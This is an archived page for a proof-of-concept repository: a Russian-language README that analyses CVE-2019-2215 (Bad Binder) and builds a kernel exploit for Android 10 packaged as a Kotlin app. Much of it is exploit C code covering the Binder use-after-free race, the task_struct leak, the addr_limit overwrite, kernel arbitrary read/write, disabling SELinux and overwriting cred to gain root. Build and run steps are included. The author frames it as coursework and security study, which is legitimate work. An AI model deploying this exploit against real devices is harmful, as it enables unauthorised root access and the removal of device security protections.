Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-2215 PoC — Android 资源管理错误漏洞

Source
Associated Vulnerability
Title:Android 资源管理错误漏洞 (CVE-2019-2215)
Description:Android是美国谷歌(Google)和开放手持设备联盟(简称OHA)的一套以Linux为基础的开源操作系统。 Android中的binder.c文件存在资源管理错误漏洞。攻击者可利用该漏洞提升权限。
Description
demo CVE-2019-2215 (Bad Binder) for Android Q
Readme
# CVE-2019-2215 (Bad Binder) — Анализ эксплойта

Этот репозиторий — небольшой тестовый проект по исследованию уязвимости  
**CVE-2019-2215 (Bad Binder)** и написанию рабочего прототипа эксплойта под Android с
простым графическим интерфейсом на Kotlin/Jetpack Compose.

В README я:

1. Описываю подготовку среды и запуск прототипа эксплойта.
2. Разбираю основные этапы эксплуатации CVE-2019-2215 и сопоставляю их с конкретными
   функциями в C-коде.
3. Отдельно перечисляю трудности, на которые я наткнулся по пути, и как я их решал.

---

## Готовый APK (GitHub Actions)

В репозитории настроен GitHub Actions workflow, который при каждом push/PR собирает проект
командой `./gradlew assembleDebug` и публикует готовый `badbinder-debug.apk` как артефакт.

Скачать его можно так:

1. Открыть вкладку **Actions** в репозитории.
2. Выбрать нужный запуск workflow.
3. Внизу страницы найти секцию **Artifacts** и забрать архив `badbinder-debug-apk`
   с собранным APK.

Это сделано для удобства, если хочется просто потестировать приложение, не поднимая локальную среду.

---
## Кратко про уязвимость

**CVE-2019-2215** — это **Use-After-Free (UAF)** в IPC-подсистеме Binder ядра Android.

Упрощённо:

- в ядре существует структура `struct binder_thread`, которая описывает поток,
  выполняющий Binder-вызовы;
- эта структура может быть **освобождена** (free), но при определённой последовательности
  вызовов всё ещё остаётся в списках ожидания (`waitqueue`);
- позднее ядро пытается работать с уже освобождённой памятью в `remove_wait_queue`,
  что открывает классический UAF-сценарий;
- если аккуратно подобрать окружение и последующие аллокации, можно заставить ядро
  читать/писать по произвольным адресам, а дальше — получить привилегии ядра, а затем
  и root в userspace.

Более подробный теоретический разбор я делал по материалам:

1. https://cloudfuzz.github.io/android-kernel-exploitation/
2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

---

## 1. Подготовка среды и запуск прототипа эксплойта


### 1.1. Выбор и подготовка виртуального устройства

По заданию рекомендовано использовать **AVD с образом Android 10.0 (Q) x86_64**.  
Я сделал следующее:

1. В Android Studio создал AVD (Pixel-устройство, **Android 10 (Q), x86_64**).
2. Убедился, что в образе включён Binder и есть устройство `/dev/binder`.
3. Активировал отладку по USB/ADB и проверил доступ к устройству:
   ```bash
   adb shell
   ls -l /dev/binder
   ```

На этом этапе я столкнулся с неприятным фактом:  
на данный момент **актуальные образы AVD уже поставляются с пропатченным ядром**, в котором
CVE-2019-2215 закрыта. То есть реально получить root на современном официальном эмуляторе
не удастся — эксплойт падает на более поздних стадиях или просто не даёт повышения
привилегий.

В итоге я использую AVD как **тренажёр для воспроизведения логики** эксплойта:

- я получаю те же последовательности системных вызовов,
- наблюдаю попытки UAF, утечку адресов и попытку переписать `addr_limit`,
- а вот финальное «получение root» на актуальном, пропатченном ядре, естественно, не
  срабатывает (и это ожидаемо).

Это важный нюанс: весь код и отчёт ниже — **учебные, а не «боевые»**.

---

### 1.2. Сборка Android-приложения с нативным эксплойтом

Я сделал небольшое Android-приложение:

- **UI** на Kotlin + Jetpack Compose,
- **Native-часть** на C через JNI — собственно код эксплойта,
- общение между ними — через JNI-колбэк, чтобы строки из C-кода улетали прямо в UI.

Основные шаги:

1. Создал обычный проект в Android Studio (Kotlin, минимальная поддержка Android 10).
2. Подключил **NDK** и CMake.
3. Добавил нативный файл с эксплойтом (тот самый `cve-2019-2215.c` с функциями
   `leak_task_struct`, `overwrite_addr_limit`, и т.д.).
4. В `CMakeLists.txt` добавил сборку `libcve-2019-2215.so`.
5. В `MainActivity`:

   ```kotlin
   init {
       System.loadLibrary("cve-2019-2215")
   }

   external fun runNativeExploit(): String
   external fun setNativeLogger(logger: NativeLogger)
   ```

6. На стороне Kotlin сделал `ExploitViewModel`, который реализует интерфейс
   `NativeLogger` и складывает все сообщения в `StateFlow<List<String>>`. UI подписан
   на этот поток и выводит лог в «терминале».

При старте активити я вызываю `setNativeLogger(viewModel)`, чтобы нативный код получил
объект, в который можно слать строки.

---

### 1.3. Запуск и сценарий использования

1. Собираю и устанавливаю приложение:
   ```bash
   ./gradlew installDebug
   ```
2. Запускаю AVD и само приложение.
3. На экране вижу «терминал» и кнопку **RUN EXPLOIT**.
4. При нажатии:

    - Kotlin вызывает `runNativeExploit()` в фоновом потоке.
    - C-код начинает выполнять все этапы эксплойта и логировать шаги.
    - Через JNI-колбэк лог попадает в ViewModel и отображается в Compose-UI.

На реальном уязвимом ядре я ожидал бы в конце увидеть что-то вроде:

```text
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
```

На актуальном эмуляторе Android 10 этого, разумеется, не происходит, но всё остальное —
утечка `task_struct`, попытка переписать `addr_limit`, вычисление `cred` и `kernel_base` —
отрабатывает как «сценарий», что и требовалось для задания.

---

## 2. Разбор основных этапов эксплойта и сопоставление с кодом

Ниже — логическая схема эксплойта с привязкой к конкретным C-функциям.

### 2.1. Общий сценарий эксплойта

Высокоуровневый план такой:

1. **Создать UAF на объекте `struct binder_thread`** и использовать его, чтобы
   **утечь адрес `task_struct`** своего процесса (`leak_task_struct`).
2. Вторым UAF-циклом и аккуратно подобранными структурами **переписать поле
   `addr_limit`** в `task_struct` (`overwrite_addr_limit`) — это снимает
   ограничение между адресами user-space и kernel-space для дальнейших
   `copy_to_user` / `copy_from_user`.
3. Используя пайпы, реализовать **произвольное чтение/запись** любой памяти ядра
   (`arb_read` / `arb_write`).
4. С помощью этого **найти `cred` текущего процесса и базу ядра** (`verifying`),
   затем:
    - выключить SELinux (`selinux_enforcing = 0`),
    - переписать поля `cred`, чтобы стать root и получить полный набор capability
      (`runNativeExploit`).

Параллельно я интегрировал **JNI-логгер**, чтобы все эти этапы было видно прямо в UI.

---

### 2.2. Этап 1 — утечка адреса `task_struct` (`leak_task_struct`)

Ключевая функция:

```c
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}
```

**Что делает функция:**

1. **Фиксирует поток на CPU 0** (`sched_setaffinity`), чтобы поведение аллокатора ядра
   было более предсказуемым. Это улучшает стабильность эксплуатации UAF.
2. **Открывает `/dev/binder`**, создаёт epoll-дескриптор:
   ```c
   fd = open("/dev/binder", O_RDONLY);
   epfd = epoll_create(1000);
   ```
   Binder-дескриптор регистрируется в epoll:

   ```c
   epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
   ```

3. Готовит **массив `struct iovec iov_buffers[IOVEC_N]`** и выделяет память:

   ```c
   spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   ```

   Здесь важно, чтобы младшие 32 бита адреса были нулями:

   ```c
   if (((long) spinner & 0xffffffff) != 0) {
       android_log("[!] mmap returned wrong address!");
       return;
   }
   ```

   Это соответствует технике из статей по эксплуатации: далее ядро
   интерпретирует часть наших данных как структуры с указателями, и такая
   «красиво выровненная» адресация упрощает злоупотребление.

   Затем поля `iov_buffers[0xa]` и `iov_buffers[0xb]` заполняются так, чтобы в
   момент UAF ядро скопировало в пайп кусок памяти, где лежит указатель на
   `task_struct`.

4. Создаёт пайп и задаёт ему размер буфера 0x1000:
   ```c
   int pipe_fd[2];
   ret = pipe(pipe_fd);
   fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
   fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
   ```

5. Далее — **классическая UAF-гонка**. Я запускаю дочерний процесс:

   ```c
   if (!fork()) {
       android_log("\t[C] Long sleep to ensure accuracy...");
       sleep(1);

       android_log("\t[*] Triggering UAF");
       epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

       android_log("\t[C] Removing useless data from pipe...");
       ret = read(pipe_fd[0], buf, 0x1000);
       ...
       _exit(0);
   }
   ```

    - Родитель остаётся выполнять дальнейший код.
    - В дочернем процессе `epoll_ctl(..., EPOLL_CTL_DEL, ...)` приводит к
      освобождению связанного `binder_thread` в ядре, но он всё ещё фигурирует
      в структуре учёта ожиданий — это и есть точка UAF.

6. В родительском процессе я вызываю:

   ```c
   ioctl(fd, BINDER_THREAD_EXIT, NULL);      // освобождение binder_thread
   ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
   ```

   На этом этапе, благодаря UAF, `writev` использует уже освобождённую память
   как структуры `iovec` и, по сути, повторно интерпретирует ту же область
   памяти, где раньше лежал `binder_thread`, но теперь уже как набор
   указателей/длин. Частью побочного эффекта становится **копирование
   фрагмента ядровой памяти в наш пайп**.

7. Наконец, я читаю из пайпа:

   ```c
   read(pipe_fd[0], buf, 0x1000);
   task_struct = *(unsigned long *)(buf + 0xe8);
   android_log_hex("[+] task_struct found", task_struct);
   ```

   Смещение `0xe8` подобрано под конкретную версию ядра — это то место,
   где внутри утёкшего блока памяти находится указатель на `task_struct` моего
   процесса.

Итог: у меня есть **адрес `task_struct`** в ядре, что критически важно для
последующих шагов.

---

### 2.3. Этап 2 — переписывание `addr_limit` (`overwrite_addr_limit`)

`addr_limit` в `task_struct` определяет, **какие адреса процесс вообще может
передавать в системные вызовы** в качестве user-space указателей. Если
переписать его на почти максимальное значение, kernel перестаёт отличать
адреса user-space от адресов в своём адресном пространстве — и многие
безопасные на первый взгляд операции `copy_(to|from)_user` превращаются в
произвольные чтения/записи ядра.

Функция:

```c
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}
```

действует по очень похожему шаблону:

1. Снова фиксирую CPU-аффинити, открываю `/dev/binder`, создаю epoll.
2. Готовлю `iov_buffers`, но на этот раз схема другая:

   ```c
   iov_buffers[0xa].iov_base = spinner;
   iov_buffers[0xa].iov_len = 0x1;
   iov_buffers[0xb].iov_base = read_buffer0;
   iov_buffers[0xb].iov_len = 0x8 * 5;
   iov_buffers[0	c].iov_base = read_buffer0;
   iov_buffers[0	c].iov_len = 0x8;
   ```

3. Вместо пайпа используется `socketpair(AF_UNIX, SOCK_STREAM, ...)`:

   ```c
   int socket[2];
   ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
   write(socket[1], "A", 1);
   ```

4. Готовлю структуру `msghdr` для `recvmsg`:

   ```c
   struct msghdr msg;
   msg.msg_iov = iov_buffers;
   msg.msg_iovlen = IOVEC_N;
   ...
   ```

5. В дочернем процессе (после `fork()`) снова запускается UAF-гонка:

   ```c
   if (!fork()) {
       ...
       epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

       long data1234[] = {1, 0x13371337, 0x28,
                          task_struct + ADDR_LIMIT_OFFSET, 0x8};
       ret = write(socket[1], data1234, 0x28);

       data1234[0] = data1234[1] = data1234[2] = data1234[3]
           = 0xfffffffffffffffe;
       ret = write(socket[1], data1234, 0x8);
       ...
   }
   ```

6. Родитель, как и раньше, освобождает `binder_thread` и зовёт `recvmsg`:

   ```c
   ioctl(fd, BINDER_THREAD_EXIT, NULL);
   ret = recvmsg(socket[0], &msg, MSG_WAITALL);
   ```

   Из-за UAF и хитрой подмены структур ядро в итоге воспринимает `task_struct +
   ADDR_LIMIT_OFFSET` как адрес user-буфера и **копирует туда содержимое
   присланной структуры** (наше значение `0xfffffffffffffffe`), тем самым
   переписывая `addr_limit` в `task_struct`.

7. В лог я пишу:

   ```c
   android_log("[!] addr_limit overwrite done.");
   ```

---

### 2.4. Этап 3 — произвольное чтение/запись и проверка (`arb_read`, `arb_write`, `verifying`)

После переписывания `addr_limit` я использую **пайпы** для превращения
обычных операций чтения/записи в возможность читать и писать по ядровым адресам.

#### Примитивы `arb_read` / `arb_write`

```c
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}
```

Аналогично `arb_write` меняет направление копирования.

#### Проверка и поиск ключевых структур

Функция `verifying()`:

```c
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
```

Здесь я:

- читаю из ядра содержимое `task_struct`;
- по `PID_OFFSET` убеждаюсь, что это действительно моя структура;
- извлекаю указатель на `cred` и утечку адреса из ядра (`kernel_leak`);
- считаю `kernel_base` с поправкой на жёстко заданное смещение.

---

### 2.5. Этап 4 — SELinux и эскалация до root

Финальная часть в `runNativeExploit`:

```c
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
```

- я вычисляю адрес глобальной переменной `selinux_enforcing` и выставляю его в
  нулевое/«разрешительное» состояние.

Дальше — переписывание `cred`:

```c
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
```

Я буквально заливаю в поля capability и некоторых других полей `cred`
максимальные значения, чтобы выдать процессу полный набор прав.

Последняя проверка:

```c
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}
```

На реальном уязвимом ядре здесь я ожидал бы `uid=0`, на пропатченном образе —
логично отключенную эскалацию.

---

### 2.6. JNI и логирование в UI

Чтобы видеть всё в реальном времени, я добавил прослойку:

- `JNI_OnLoad` сохраняет `JavaVM*` и PID основного процесса;
- `setNativeLogger` принимает Kotlin-объект, реализующий метод `onLog(String)`,
  и сохраняет его как `GlobalRef`;
- `android_log`/`android_log_hex` пишут в `logcat` и вызывают `send_to_ui`, который
  доставляет строку в Kotlin, где её забирает `ExploitViewModel` и показывает
  в Compose-«терминале».

Важно, что `send_to_ui` фильтрует дочерние процессы по PID — вызывать JNI из
процесса после `fork()` без `exec()` небезопасно.

---

## 3. Трудности и их решение

### 3.1. Пропатченные образы AVD

Я столкнулся с тем, что **на данный момент нет официальных AVD-образов Android 10
с не пропатченным ядром**, в которых CVE-2019-2215 всё ещё присутствует.

Вместо «боевого» получения root я сосредоточился на:

- воспроизведении логики эксплуатации,
- разборе UAF-последовательности,
- визуализации всех шагов в Android-приложении.

При желании этот код можно портировать на реальное устройство со старым
не пропатченным ядром, но это уже выходит за рамки задания.

---

### 3.2. Жёсткие смещения и зависимость от версии ядра

Мне пришлось явно задать:

- `ADDR_LIMIT_OFFSET`, `PID_OFFSET`, `CRED_OFFSET`;
- смещения для `kernel_leak` и `selinux_enforcing`;
- константу для расчёта `kernel_base`.

Я осознанно не стал автоматизировать поиск этих значений, чтобы не
раздувать объём проекта. В отчёте я опираюсь на то, что это учебный
пример под конкретную версию ядра, а не универсальный эксплойт.

---

### 3.3. Гонки и стабильность

Использование `fork()`, `epoll_ctl`, `BINDER_THREAD_EXIT` и различных
таймингов — это минное поле. Я столкнулся с тем, что без:

- `sched_setaffinity`,
- небольших `sleep`,
- и агрессивных `assert` по пути

эксплойт становится крайне нестабильным.  
Я постепенно отладил последовательность так, чтобы на уязвимой конфигурации
она была предсказуемой, а на пропатченной — корректно «проваливалась» на
последних шагах.

---

### 3.4. JNI и `fork()`

Я также столкнулся с тем, что попытки логировать из дочернего процесса
напрямую в JVM приводят к странному поведению.  
Пришлось вспомнить правила JNI и добавить проверку PID, чтобы общаться
с JVM только из основного процесса.

Компромисс: часть сообщений видно лишь в `logcat`, а в UI отображается
только то, что пришло из родителя. Это меня устроило, потому что в рамках
задания важны именно основные контрольные точки, а не каждый отладочный
print.

---

### 3.5. UI

Бонусом, для более творческой реализации задания, я решил сделать интерфейс, удобный для анализа:

- я реализовал экран с «консолью» в стиле тёмного терминала и зелёного текста;
- лог выводится построчно, с автоскроллом к последней записи;
- разные типы сообщений (`[+]`, `[*]`, `[!]`, `[C]`) подсвечены разными
  цветами для удобства чтения;
- результат выполнения (`Success / Failed`) отображается отдельным блоком.

Это сильно упрощает восприятие работы нативного кода: вместо сухого `logcat`
я вижу всё в одном месте, прямо в приложении.

---

## Итог

В результате работы над заданием я:

1. Подготовил AVD-среду и Android-приложение с нативной частью, реализующей
   эксплойт CVE-2019-2215.
2. Пошагово разобрал эксплуатацию:
    - UAF в Binder и утечку `task_struct`,
    - переписывание `addr_limit`,
    - построение примитивов произвольного чтения/записи,
    - поиск `cred`, отключение SELinux и попытку эскалации привилегий.
3. Столкнулся с рядом реальных инженерных проблем
   (патчи в ядре, зависимости от версии, гонки, особенности JNI) и
   последовательно их решил или обошёл.

Проект получился компактным, но по сути отражает весь жизненный цикл
реальной уязвимости ядра: от теоретического описания и чтения статей
до практической реализации и интеграции в живое Android-приложение.

## P.S.

### Альтернативный способ запуска эксплойта

В директории `cve-2019-2215` есть Makefile, который позволяет собрать
нативный бинарь (x86_64) и запустить его напрямую в AVD через ADB.
Если нужна версия aarch64, [её можно собрать отдельно.](https://github.com/kangtastic/cve-2019-2215)

1. Собираем нативный бинарь:
   ```bash
   cd cve-2019-2215
   make
   ```
2. Копируем бинарь в AVD например в /sdcard/cve-2019-2215
3. Запускаем ADB shell и выполняем бинарь:
   ```bash
   adb shell
   cd /sdcard/cve-2019-2215
   chmod +x cve-2019-2215
   ./cve-2019-2215
   ```
4. После успешного выполнения эксплойта можно проверить получение root:
   ```bash
   id
   ```
   ожидаемый вывод:
   ```text
   uid=0(root) gid=0(root) groups=0(root)
   ```   

File Snapshot

[4.0K] /data/pocs/9709ac7e11fb585991155cb3831ebd481fb4ef28 ├── [4.0K] app │   ├── [2.3K] build.gradle.kts │   ├── [ 750] proguard-rules.pro │   └── [4.0K] src │   ├── [4.0K] androidTest │   │   └── [4.0K] java │   │   └── [4.0K] ru │   │   └── [4.0K] redbyte │   │   └── [4.0K] badbinder │   │   └── [ 667] ExampleInstrumentedTest.kt │   ├── [4.0K] main │   │   ├── [1000] AndroidManifest.xml │   │   ├── [4.0K] cpp │   │   │   ├── [ 504] CMakeLists.txt │   │   │   └── [ 10K] cve-2019-2215.c │   │   ├── [4.0K] java │   │   │   └── [4.0K] ru │   │   │   └── [4.0K] redbyte │   │   │   └── [4.0K] badbinder │   │   │   ├── [9.9K] ExploitScreen.kt │   │   │   ├── [1.5K] ExploitViewModel.kt │   │   │   ├── [1.3K] MainActivity.kt │   │   │   ├── [ 87] NativeLogger.kt │   │   │   └── [4.0K] ui │   │   │   └── [4.0K] theme │   │   │   ├── [ 284] Color.kt │   │   │   ├── [1.8K] Theme.kt │   │   │   └── [ 989] Type.kt │   │   └── [4.0K] res │   │   ├── [4.0K] drawable │   │   │   ├── [5.5K] ic_launcher_background.xml │   │   │   └── [1.7K] ic_launcher_foreground.xml │   │   ├── [4.0K] mipmap-anydpi │   │   │   ├── [ 343] ic_launcher_round.xml │   │   │   └── [ 343] ic_launcher.xml │   │   ├── [4.0K] mipmap-hdpi │   │   │   ├── [2.8K] ic_launcher_round.webp │   │   │   └── [1.4K] ic_launcher.webp │   │   ├── [4.0K] mipmap-mdpi │   │   │   ├── [1.7K] ic_launcher_round.webp │   │   │   └── [ 982] ic_launcher.webp │   │   ├── [4.0K] mipmap-xhdpi │   │   │   ├── [3.8K] ic_launcher_round.webp │   │   │   └── [1.9K] ic_launcher.webp │   │   ├── [4.0K] mipmap-xxhdpi │   │   │   ├── [5.8K] ic_launcher_round.webp │   │   │   └── [2.8K] ic_launcher.webp │   │   ├── [4.0K] mipmap-xxxhdpi │   │   │   ├── [7.6K] ic_launcher_round.webp │   │   │   └── [3.8K] ic_launcher.webp │   │   ├── [4.0K] values │   │   │   ├── [ 378] colors.xml │   │   │   ├── [ 71] strings.xml │   │   │   └── [ 151] themes.xml │   │   └── [4.0K] xml │   │   ├── [ 478] backup_rules.xml │   │   └── [ 551] data_extraction_rules.xml │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] ru │   └── [4.0K] redbyte │   └── [4.0K] badbinder │   └── [ 344] ExampleUnitTest.kt ├── [ 169] build.gradle.kts ├── [4.0K] cve-2019-2215 │   ├── [6.7K] exploit.c │   ├── [1.2K] Makefile │   └── [ 109] README.md ├── [4.0K] gradle │   ├── [2.0K] libs.versions.toml │   └── [4.0K] wrapper │   ├── [ 58K] gradle-wrapper.jar │   └── [ 233] gradle-wrapper.properties ├── [1.3K] gradle.properties ├── [5.6K] gradlew ├── [2.6K] gradlew.bat ├── [4.0K] img │   └── [105K] demo.png ├── [ 27K] README.md └── [ 533] settings.gradle.kts 35 directories, 46 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.